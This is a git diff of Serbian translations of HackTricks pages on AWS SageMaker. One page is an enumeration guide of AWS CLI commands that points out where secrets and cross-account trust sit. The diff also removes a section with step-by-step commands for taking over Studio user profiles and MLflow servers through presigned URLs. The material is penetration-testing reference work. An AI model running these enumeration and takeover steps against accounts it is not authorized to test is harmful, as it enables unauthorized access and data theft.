REGION=us-east-1
# Portfolio status, used when provisioning Studio resources
@@ -39,9 +39,9 @@ aws sagemaker list-models --region $REGION --query 'Models[].ExecutionRoleArn' -
# Generic tag sweep across any SageMaker ARN you know
aws sagemaker list-tags --resource-arn <sagemaker-arn> --region $REGION
```
Zabeležite svaku cross-account trust (execution roles ili S3 buckets sa external principals) i osnovna ograničenja kao što su service control policies ili SCPs.
Zabeležite svako međunaložno poverenje (cross-account trust) — npr. execution roles ili S3 buckets sa eksternim principalima — i osnovna ograničenja, kao što su service control policies ili SCPs.
## Studio Domains, Apps & Shared Spaces
## Studio domeni, aplikacije i deljeni prostori
```bash
aws sagemaker list-domains --region $REGION
aws sagemaker describe-domain --domain-id <domain-id> --region $REGION
@@ -63,11 +63,11 @@ aws sagemaker describe-studio-lifecycle-config --studio-lifecycle-config-name <n
What to record:
- `DomainArn`, `AppSecurityGroupIds`, `SubnetIds`, `DefaultUserSettings.ExecutionRole`.
- Montirani EFS (`HomeEfsFileSystemId`) i S3 home direktorijumi.
- Lifecycle skripte (često sadrže bootstrap credentials ili push/pull dodatnog koda).
- Montirane EFS (`HomeEfsFileSystemId`) i S3 home direktorijumi.
- Lifecycle skripte (često sadrže bootstrap credentials ili dodatni push/pull kod).
> [!TIP]
> Presigned Studio URLs mogu zaobići autentifikaciju ako su široko dodeljene.
> Presigned Studio URLs mogu zaobići autentifikaciju ako su široko dodeljeni.
## Notebook Instances & Lifecycle Configs
```bash
@@ -78,11 +78,11 @@ aws sagemaker describe-notebook-instance-lifecycle-config --notebook-instance-li
```
Metapodaci notebooka otkrivaju:
- Uloga za izvršavanje (`RoleArn`), direktan pristup internetu naspram režima samo u VPC-u.
- Izvršna uloga (`RoleArn`), direktan pristup internetu nasuprot VPC-only režimu.
- S3 lokacije u `DefaultCodeRepository`, `DirectInternetAccess`, `RootAccess`.
- Lifecycle skripte za kredencijale ili hook-ove za perzistenciju.
- Skripte životnog ciklusa za kredencijale ili hook-ove za perzistenciju.
## Trening, obrada, transformacija i Batch poslovi
## Trening, Obrada, Transform i Batch poslovi
```bash
aws sagemaker list-training-jobs --region $REGION
aws sagemaker describe-training-job --training-job-name <job> --region $REGION
@@ -95,10 +95,10 @@ aws sagemaker describe-transform-job --transform-job-name <job> --region $REGION
```
Detaljno pregledajte:
- `AlgorithmSpecification.TrainingImage` / `AppSpecification.ImageUri` koji ECR images su raspoređeni.
- `InputDataConfig` & `OutputDataConfig` S3 bucketi, prefiksi i KMS ključevi.
- `ResourceConfig.VolumeKmsKeyId`, `VpcConfig`, `EnableNetworkIsolation` procenite mrežni i enkripcioni status.
- `HyperParameters` mogu leakovati tajne okruženja ili connection strings.
- `AlgorithmSpecification.TrainingImage` / `AppSpecification.ImageUri` koje ECR slike su raspoređene.
- `InputDataConfig` & `OutputDataConfig` S3 bucket-i, prefiksi i KMS ključevi.
- `ResourceConfig.VolumeKmsKeyId`, `VpcConfig`, `EnableNetworkIsolation` određuju mrežnu ili enkripcijsku postavku.
- `HyperParameters` may leak environment secrets or connection strings.
## Pipelines, Experiments & Trials
```bash
@@ -110,7 +110,7 @@ aws sagemaker list-experiments --region $REGION
aws sagemaker list-trials --experiment-name <experiment> --region $REGION
aws sagemaker list-trial-components --trial-name <trial> --region $REGION
```
Definicije pipeline-a detaljno opisuju svaki korak, pripadajuće role, container image-e i promenljive okruženja. Komponente trial-a često sadrže training artefact URI-je, S3 logove i metrike koje nagoveštavaju tok osetljivih podataka.
Definicije pipeline-a detaljno navode svaki korak, pridružene uloge, image kontejnera i promenljive okruženja. Trial komponente često sadrže URI-je artefakata za trening, S3 logove i metrike koje ukazuju na tok osetljivih podataka.
## Modeli, konfiguracije endpoint-a i raspoređeni endpointi
```bash
@@ -123,12 +123,12 @@ aws sagemaker describe-endpoint-config --endpoint-config-name <cfg> --region $RE
aws sagemaker list-endpoints --region $REGION
aws sagemaker describe-endpoint --endpoint-name <endpoint> --region $REGION
```
Fokus oblasti:
Ključne oblasti:
- S3 URI-ovi artefakata modela (`PrimaryContainer.ModelDataUrl`) i slike kontejnera za inferencu.
- Konfiguracija Endpoint data capture (S3 bucket, KMS) za mogući izvoz logova.
- Multi-model endpoints koji koriste `S3DataSource` ili `ModelPackage` (proverite cross-account packaging).
- Mrežne konfiguracije i security groups pridružene endpointima.
- S3 URI-ji artefakata modela (`PrimaryContainer.ModelDataUrl`) i slike kontejnera za inference.
- Konfiguracija Endpoint data capture (S3 bucket, KMS) za moguću log exfil.
- Multi-model endpoints koji koriste `S3DataSource` ili `ModelPackage` (proveriti cross-account packaging).
- Mrežne konfiguracije i security groups pridružene endpoint-ima.
## Feature Store, Data Wrangler & Clarify
```bash
@@ -141,11 +141,11 @@ aws sagemaker describe-data-wrangler-flow --flow-name <flow> --region $REGION
aws sagemaker list-model-quality-job-definitions --region $REGION
aws sagemaker list-model-monitoring-schedule --region $REGION
```
Bezbednosne napomene:
Bezbednosni zaključci:
- Online feature store-ovi repliciraju podatke u Kinesis; proverite `OnlineStoreConfig.SecurityConfig.KmsKeyId` i VPC.
- Data Wrangler flow-ovi često sadrže JDBC/Redshift podatke za prijavu ili privatne endpoint-e.
- Clarify/Model Monitor poslovi izvoze podatke u S3 koji mogu biti čitljivi svima (world-readable) ili dostupni između naloga (cross-account).
- Online feature stores replikuju podatke u Kinesis; proverite `OnlineStoreConfig.SecurityConfig.KmsKeyId` i VPC.
- Data Wrangler tokovi često sadrže JDBC/Redshift credentials ili privatne endpoint-e.
- Clarify/Model Monitor jobs izvoze podatke u S3 koji mogu biti javno čitljivi ili dostupni iz drugih naloga.
## MLflow Tracking Servers, Autopilot & JumpStart
```bash
@@ -159,14 +159,14 @@ aws sagemaker list-jumpstart-models --region $REGION
aws sagemaker list-jumpstart-script-resources --region $REGION
```
- MLflow tracking servers čuvaju eksperimente i artefakte; presigned URLs mogu izložiti sve.
- Autopilot jobs pokreću više training jobs — enumerišite izlaze radi skrivenih podataka.
- JumpStart reference architectures mogu deploy-ovati privileged roles u account.
- Autopilot jobs pokreću više training jobs — izlistajte njihove izlaze radi skrivenih podataka.
- JumpStart reference architectures mogu rasporediti privilegovane role u nalogu.
## IAM & mrežna razmatranja
## IAM i mrežna razmatranja
- Enumerišite IAM policies prikačene na sve execution roles (Studio, notebooks, training jobs, pipelines, endpoints).
- Proverite mrežne kontekte: subnets, security groups, VPC endpoints. Mnoge organizacije izoliraju training jobs ali zaborave da ograniče outbound traffic.
- Pregledajte S3 bucket policies referenced u `ModelDataUrl`, `DataCaptureConfig`, `InputDataConfig` radi eksternog pristupa.
- Nabrojte IAM politike prikačene uz sve izvršne role (Studio, notebooks, training jobs, pipelines, endpoints).
- Proverite mrežni kontekst: subnets, security groups, VPC endpoints. Mnoge organizacije izoluju training jobs, ali zaborave da ograniče izlazni saobraćaj.
- Pregledajte S3 bucket politike koje se referenciraju u `ModelDataUrl`, `DataCaptureConfig`, `InputDataConfig` zbog eksternog pristupa.
## Privilege Escalation
@@ -192,7 +192,7 @@ aws sagemaker list-jumpstart-script-resources --region $REGION
../aws-sagemaker-unauthenticated-enum/README.md
{{#endref}}
## References
## Reference
- [AWS SageMaker Documentation](https://docs.aws.amazon.com/sagemaker/latest/dg/whatis.html)
- [AWS CLI SageMaker Reference](https://docs.aws.amazon.com/cli/latest/reference/sagemaker/index.html)

View File

@@ -1,107 +1,13 @@
# AWS - SageMaker Neovlašćeni pristup
# AWS - SageMaker Neovlašćen pristup
{{#include ../../../../banners/hacktricks-training.md}}
## SageMaker Studio - Preuzimanje naloga putem CreatePresignedDomainUrl (Imitacija bilo kojeg UserProfile)
## Presigned URLs za SageMaker
### Opis
Identitet koji ima dozvolu da pozove `sagemaker:CreatePresignedDomainUrl` na ciljnom Studio `UserProfile` može da generiše login URL koji se autentifikuje direktno u SageMaker Studio kao taj profil. To pruža napadačevom pregledaču Studio sesiju koja nasleđuje dozvole profila (`ExecutionRole`) i potpuni pristup profilu koji je smešten na EFS-u (home) i aplikacijama. Nije potrebna `iam:PassRole` niti pristup console.
Ako napadač uspe da dobije presigned URL za SageMaker resource, može mu pristupiti bez dodatne autentifikacije. Dozvole i nivo pristupa zavisiće od role povezane sa resource:
### Zahtevi
- SageMaker Studio `Domain` i ciljni `UserProfile` unutar njega.
- Napadački principal treba `sagemaker:CreatePresignedDomainUrl` na ciljnom `UserProfile` (na nivou resursa) ili `*`.
Minimalan primer policy-ja (ograničen na jedan UserProfile):
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sagemaker:CreatePresignedDomainUrl",
"Resource": "arn:aws:sagemaker:<region>:<account-id>:user-profile/<domain-id>/<user-profile-name>"
}
]
}
```
### Koraci zloupotrebe
1) Enumerate Studio Domain i UserProfiles koje možete ciljati
```bash
DOM=$(aws sagemaker list-domains --query 'Domains[0].DomainId' --output text)
aws sagemaker list-user-profiles --domain-id-equals $DOM
TARGET_USER=<UserProfileName>
```
2) Generišite presigned URL (važi ~5 minuta podrazumevano)
```bash
aws sagemaker create-presigned-domain-url \
--domain-id $DOM \
--user-profile-name $TARGET_USER \
--query AuthorizedUrl --output text
```
3) Otvorite vraćeni URL u pregledaču da biste se prijavili u Studio kao ciljani korisnik. U Jupyter terminalu unutar Studio proverite efektivni identitet:
```bash
aws sts get-caller-identity
```
Napomene:
- `--landing-uri` može biti izostavljen. Neke vrednosti (npr. `app:JupyterLab:/lab`) mogu biti odbijene u zavisnosti od varijante/verzije Studio-a; podrazumevana podešavanja obično preusmeravaju na početnu stranu Studio-a, a potom na Jupyter.
- Organizacione politike/ograničenja VPC endpointa i dalje mogu blokirati mrežni pristup; izdavanje tokena ne zahteva prijavu u konzolu ili `iam:PassRole`.
### Uticaj
- Bočno kretanje i eskalacija privilegija preuzimanjem bilo kog Studio `UserProfile` čiji ARN je dozvoljen, nasleđujući njegov `ExecutionRole` i datotečni sistem/aplikacije.
### Dokazi (iz kontrolisanog testa)
- Sa samo `sagemaker:CreatePresignedDomainUrl` na ciljnom `UserProfile`, uloga napadača je uspešno vratila `AuthorizedUrl` poput:
```
https://studio-d-xxxxxxxxxxxx.studio.<region>.sagemaker.aws/auth?token=eyJhbGciOi...
```
- Direktan HTTP zahtev vraća preusmerenje (HTTP 302) na Studio, potvrđujući da je URL važeći i aktivan do isteka.
## SageMaker MLflow Tracking Server - ATO putem CreatePresignedMlflowTrackingServerUrl
### Opis
Identitet sa dozvolom da pozove `sagemaker:CreatePresignedMlflowTrackingServerUrl` za ciljanu SageMaker MLflow Tracking Server može kreirati jednokratni presigned URL koji se direktno autentifikuje u managed MLflow UI za taj server. Ovo daje isti nivo pristupa koji bi legitimni korisnik imao serveru (pregled/kreiranje eksperimenata i pokretanja (runs), i preuzimanje/postavljanje artefakata u S3 skladištu artefakata servera) bez pristupa konzoli ili `iam:PassRole`.
### Zahtevi
- SageMaker MLflow Tracking Server u nalogu/regiji i njegovo ime.
- Napadački principal mora imati `sagemaker:CreatePresignedMlflowTrackingServerUrl` na ciljnom MLflow Tracking Server resursu (ili `*`).
Minimalan primer politike (ograničen na jedan Tracking Server):
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sagemaker:CreatePresignedMlflowTrackingServerUrl",
"Resource": "arn:aws:sagemaker:<region>:<account-id>:mlflow-tracking-server/<tracking-server-name>"
}
]
}
```
### Koraci zloupotrebe
1) Enumerate MLflow Tracking Servers koje možete ciljati i izaberite jedno ime
```bash
aws sagemaker list-mlflow-tracking-servers \
--query 'TrackingServerSummaries[].{Name:TrackingServerName,Status:TrackingServerStatus}'
TS_NAME=<tracking-server-name>
```
2) Generiši presigned MLflow UI URL (važi kratko vreme)
```bash
aws sagemaker create-presigned-mlflow-tracking-server-url \
--tracking-server-name "$TS_NAME" \
--expires-in-seconds 300 \
--session-expiration-duration-in-seconds 1800 \
--query AuthorizedUrl --output text
```
3) Otvorite vraćeni URL u pregledaču da pristupite MLflow UI kao autentifikovani korisnik za taj Tracking Server.
Napomene:
- Tracking Server mora biti u stanju spremnosti (npr., `Created/Active`). Ako je još uvek `Creating`, poziv će biti odbijen.
- The presigned URL is singleuse and shortlived; generate a new one when needed.
### Uticaj
- Direktan pristup upravljanom MLflow UI za ciljani Tracking Server, što omogućava pregled i izmenu experiments/runs i preuzimanje ili otpremanje artifacts uskladištenih u S3 artifact store konfigurisanom za server, u okviru dozvola koje nameće konfiguracija servera.
{{#ref}}
../../aws-privilege-escalation/aws-sagemaker-privesc/README.md
{{#endref}}
{{#include ../../../../banners/hacktricks-training.md}}